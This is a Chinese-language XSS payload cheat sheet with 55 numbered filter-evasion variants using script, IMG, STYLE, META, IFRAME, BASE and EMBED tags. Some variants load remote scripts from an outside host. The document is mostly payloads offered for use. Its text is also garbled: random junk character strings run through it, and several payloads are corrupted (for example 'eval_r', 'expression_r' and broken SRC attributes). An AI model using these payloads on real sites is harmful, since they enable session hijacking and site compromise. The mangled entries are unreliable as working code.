(1)普通的XSS JavaScript注入
. \+ s& B3 |& s9 I( O& V<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
5 f* C5 O) S/ O2 q9 z6 r(99)另类弹框& c3 I5 W3 X* I
<q/oncut=alert()>1$ w$ a" w' F$ u' Q4 }3 k1 m- ^
<s/onclick=alert()>b0 D, D5 D7 W }$ D* H& |
<XSS=" onclick="alert(1)//">clickme</SSX="># U& F9 N( Z" x6 k4 t0 m% H% O
<zzz onclick=alert`1`>clickme</zzz>
; Q( P+ N2 ~' ], `5 { <a onclick=alert`1`>clickme</a># x, \; U$ b# A. @" h
<a=">clickme</a=">
L+ w- R/ N+ S. F<a=">clickme</a>. c) ^2 z1 J: n& Z9 \
<z=">clickme</z=">" B, ?4 h( T7 ^- [
<z onclick=alert`1`>clickme</z>
1 a: m. O( f5 t1 P6 ^; }+ G1 ^% J$ A" B* k- _
(2)IMG标签XSS使用JavaScript命令- z) l" t% I3 x
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
2 y) ]0 |+ C; x8 @3 g( l9 q, }# l) B4 R L: l; ~
(3)IMG标签无分号无引号; Q: Y& l% i0 E9 W
<IMG SRC=javascript:alert(‘XSS’)>
$ `9 `. U5 R9 ` X7 A8 ]' N! |( f0 k- d
(4)IMG标签大小写不敏感4 p3 W* y f9 I( X5 e: q3 T& J
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
7 [+ A2 s. S4 \% }, o/ e% C! p+ |2 F v! A! ?& C3 i
(5)HTML编码(必须有分号)
) ~+ }( M3 C# R0 M2 F3 d<IMG SRC=javascript:alert(“XSS”)>( u7 \+ y% ?+ G" \! j' e3 P E
0 p3 `: x% H: T0 W
(6)修正缺陷IMG标签
9 U/ \/ f6 B+ q1 z: g `<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
v; a+ ~( U& H" Z, r: |' p! g, c
: \' \$ K p' H+ c6 W9 C(7)formCharCode标签(计算器)
- u0 k6 O4 B ]$ g( L$ S% C<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>2 S) R0 ]4 f) k. R- _
8 C) e! j8 F) V* {( B
(8)UTF-8的Unicode编码(计算器)
5 m% z( y( S! _0 T<IMG SRC=jav..省略..S')>
$ R- N6 K: H9 j$ i" \$ W
$ N, o k5 g- T5 C(9)7位的UTF-8的Unicode编码是没有分号的(计算器)6 D0 y- H* e, D# |2 a2 v2 |
<IMG SRC=jav..省略..S')>3 t4 b, k( t/ ~8 `% \ g& f
& x: m8 F4 ~6 C
(10)十六进制编码也是没有分号(计算器)# e/ r) @: C' j) ^
<IMG SRC=\'#\'" /span>. m0 T: a; o' R ~, m% Y2 Y
4 e+ N- g1 D( [8 V3 H
(11)嵌入式标签,将Javascript分开
4 ?! X& k/ N& {2 k2 S<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>; F% N/ l1 c- R4 O# m5 I% ?
, }; [8 P1 c! l/ m A
(12)嵌入式编码标签,将Javascript分开
& Z9 `5 M/ u. F5 \" N! ^<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>. K, z. u' C1 Z
% E3 C, L7 B5 `9 h) B, w
(13)嵌入式换行符
7 y0 H! O$ s9 F4 X<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
6 l( z6 l1 X! N' k5 D
# g! b, f& J7 j: v(14)嵌入式回车) _" V+ X9 `9 V4 \5 H
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
7 n, V% O9 i: M4 A8 |: h; \
, ^$ D6 \9 H' o9 s, o5 H' B7 I(15)嵌入式多行注入JavaScript,这是XSS极端的例子$ W, _) O( j% {+ s5 C" w6 Y
<IMG SRC=\'#\'" /span>+ X$ T0 Z; M1 i* J( y2 N/ H
" [$ T! M' C$ Y% K7 A(16)解决限制字符(要求同页面)
W" L) L- n; P<script>z=’document.’</script>
( L' T8 H/ A- A) k" ~1 {, s' Y<script>z=z+’write(“‘</script>6 b# |: u. A6 J# T
<script>z=z+’<script’</script>
* {% \6 x x. P# w<script>z=z+’ src=ht’</script>
8 v) w' P- j2 y9 H' m<script>z=z+’tp://ww’</script>6 s, M. g' X; z
<script>z=z+’w.shell’</script>) R& ?% ?5 e& h6 v" t2 p
<script>z=z+’.net/1.’</script>
" T7 q3 m7 H5 T, I/ D1 ?- A<script>z=z+’js></sc’</script>' v2 E' @7 S0 q9 F* {: W( x' o
<script>z=z+’ript>”)’</script>
5 D1 x3 P7 {- X% x0 e<script>eval_r(z)</script>
( K8 N' o# q f2 v7 P
& P& y- C/ B! }2 e(17)空字符
7 P* M/ h0 L: j3 V4 o3 xperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
% {% c% v: }4 {2 r' X9 t) o! J3 Y5 `0 T7 P2 q4 E( |
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
7 V0 N' w) \! g" I5 \/ tperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out1 _; V; h. A! `/ @; n" h, J& c
3 E$ K/ f0 C, |& B
(19)Spaces和meta前的IMG标签
9 K- m! i7 T6 D( W& k% g- Z _<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>2 _. R3 R* c z$ [
3 E7 U( k# m8 {1 E3 g(20)Non-alpha-non-digit XSS/ ]. Z2 n3 ]1 k( j) M' g8 X3 f: R
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>* `- ]3 y |" {3 m# O
& Y5 A1 i( \5 Y1 i) Q; J- Y; n(21)Non-alpha-non-digit XSS to 2/ L5 D' c6 ]" F0 g* `9 d) y
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>4 ^! h3 `/ C0 V
+ `0 {$ T4 H0 ~' H' J
(22)Non-alpha-non-digit XSS to 3, j- h2 k' u0 {; \2 L; s; g
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>. J3 u w+ f1 z; ^& @
3 k0 ?) F) y! [2 \" H. Y9 X! G(23)双开括号9 h# u3 l4 C7 ^! I
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
) t7 M' o% e; o/ T5 g% P
1 e, X4 n/ ~$ p; ]0 u9 t6 {(24)无结束脚本标记(仅火狐等浏览器)5 S% I9 @+ V5 [# y+ v
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>* T! {% J7 Z$ T7 u
0 l: [6 Z, `5 L. h$ l+ a- T7 B: m(25)无结束脚本标记2
# o6 ?0 b2 x; V! f, F<SCRIPT SRC=//3w.org/XSS/xss.js>& }( D8 _5 v* r% S1 ?! t- A9 W/ z
' ]# B: h7 [! r7 m1 ^7 x* L p
(26)半开的HTML/JavaScript XSS
3 W0 ?( j: N8 L# m9 V& A ]- T<IMG SRC=\'#\'" /span>
' l d b7 u; B$ j/ S# `/ G8 n( ? ], r$ f) D0 }
(27)双开角括号& T. y3 ?% I: Y6 L$ T- n; ^
<iframe src=http://3w.org/XSS.html <% G; }6 y/ S: q4 T' w! S! w, @
% e6 y$ }) d5 ~
(28)无单引号 双引号 分号
# V2 D% T; n3 o* R7 E<SCRIPT>a=/XSS/
, ]# U9 d2 v) Z$ Q$ | u" ualert(a.source)</SCRIPT>
7 c, i% Y. W% U7 }, d5 i# o# k+ N0 s% v* K; t2 H ^
(29)换码过滤的JavaScript* t/ G, {8 H, G& E6 T; O
\”;alert(‘XSS’);//
) O; H9 Y+ Y- ?; d
6 s: ^. w6 r0 p0 v(30)结束Title标签
% {/ u/ R. l" U. |, ^$ }</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>& w' Q( m! h7 h7 e8 K N
$ [1 O$ n: R+ \+ J! g(31)Input Image& x: w. ~& p* B" ~: x2 H* _
<INPUT SRC=\'#\'" /span>* _3 }% E6 a4 A3 k$ ?
$ C" j. h/ \6 V5 f3 B(32)BODY Image! Q5 [3 U8 |) R* e% K$ o+ Q$ q
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
9 L. V# X0 ^, _5 J% N* y
6 i. h. P. n5 z& m6 g(33)BODY标签
* @+ e- y. `4 r! l$ E1 V8 O5 ~& P<BODY(‘XSS’)>1 ]% `4 l( e- f/ q" _5 }* U
$ o1 z7 `. v3 ]- p5 c(34)IMG Dynsrc( Y0 o. \ w( `$ N7 o: w S/ m
<IMG DYNSRC=\'#\'" /span>
+ S2 i# m! f& L. c) k% N# n% |, X5 s# D) g, `4 ~ C" t: J
(35)IMG Lowsrc
9 S8 e0 g3 X0 r<IMG LOWSRC=\'#\'" /span>0 v- {) I5 d6 y: b' X
' P) I) G, X. ^8 w# c(36)BGSOUND3 p X# B1 V8 @/ [9 `
<BGSOUND SRC=\'#\'" /span>4 B" ^& m3 F( @$ O. h: ?" h2 Q
2 X. b) f9 C9 c& ~( e n(37)STYLE sheet: _# ]$ F/ k' a7 u
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>4 F5 |# f# b2 R( d1 c0 ~% q: I4 O
/ _- P! w) P: u+ p6 T- @6 d! r
(38)远程样式表
) x, \! v7 X/ |<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
. h( _9 k# e7 q" i$ N! g2 k! B4 V
(39)List-style-image(列表式)2 F5 F- @2 |) F) `8 r7 G
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
: s& w+ M, X$ i' h! x- q7 A7 g
$ s& R1 [0 U7 E% h5 j2 Z. j F(40)IMG VBscript
* H% s# j% o) T<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
. O) f+ }! k! y3 S' Q7 u
4 e. P) i& Q9 i(41)META链接url. \* ^4 A! C7 }
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>8 f; s5 \$ z6 r/ R* Y" {
6 B4 F& w7 `+ {! ~ A% ` g9 P
(42)Iframe
9 R* z$ K& B1 ]3 h8 W. T9 l7 A<IFRAME SRC=\'#\'" /IFRAME>
* }0 G/ @% v, F! _' T, ]5 Y; \4 ^( Q2 n8 L6 m# l& x, G
(43)Frame, O6 L: x0 v$ r9 Z# F: K7 s' Q
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>$ l1 j9 a" f& s8 q: C5 Q' }+ F
, i' T/ |' u: |* p(44)Table
; Q! p$ O" Q; P: O# i<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>4 V' g! {4 }3 g0 `7 H
, }% `7 p8 E8 S) X
(45)TD/ |! D0 o0 |+ r
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>5 f( z! D( f' g' w; O' j2 c
5 S8 Z3 @. N' Q$ o6 i1 q/ H(46)DIV background-image
^, j' E/ H8 q# r7 N7 N: V; F<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>8 E) P6 {' ?- @. F
3 b& L: e3 d0 B9 z* q- E }
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
1 J# A2 c: q2 l. p7 I6 o<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>8 B9 h! \- ^. e
% n& Z! P9 V# p(48)DIV expression! x) V) N' {1 ^0 \+ P4 D
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>6 \: s, `% `8 U9 N- J; h) K5 g
' y! }! }" ?3 d& d5 k& N
(49)STYLE属性分拆表达
3 @( v( d, v( T( q, R, ?) n<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>' n% X& X! K! ~, R. B
. C* D% E! ] R/ Z
(50)匿名STYLE(组成:开角号和一个字母开头)
& |. ^4 W9 _6 F0 S<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>9 l- {& {, y% @! Q
/ m) J5 l0 P# U4 a7 a
(51)STYLE background-image; g" ~/ K0 v9 P, F& D( F. G- Q2 m. f2 i
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
g4 i0 C m6 J/ f- Z! N6 n( {, y/ z% i
(52)IMG STYLE方式4 E9 F0 E$ x3 i8 H6 h
exppression(alert(“XSS”))’>
" D! V/ [) x V# [' Z# G' O) @: z/ |' C0 s
(53)STYLE background7 e7 |/ I) `8 Z' W& x
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
0 T$ d# x! w& H7 K( `) y: D& v( c
" C3 J7 z0 v; t8 B8 `% i( `(54)BASE
* b* K: i) N1 Q3 Q$ A; D<BASE HREF=”javascript:alert(‘XSS’);//”>" C1 \' A( S1 W+ \( g
, I+ z: g! F' z9 T. \! O(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
0 s" ]7 b6 P% \0 y0 }# l<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>9 v) e3 ?! V( e/ w% l
|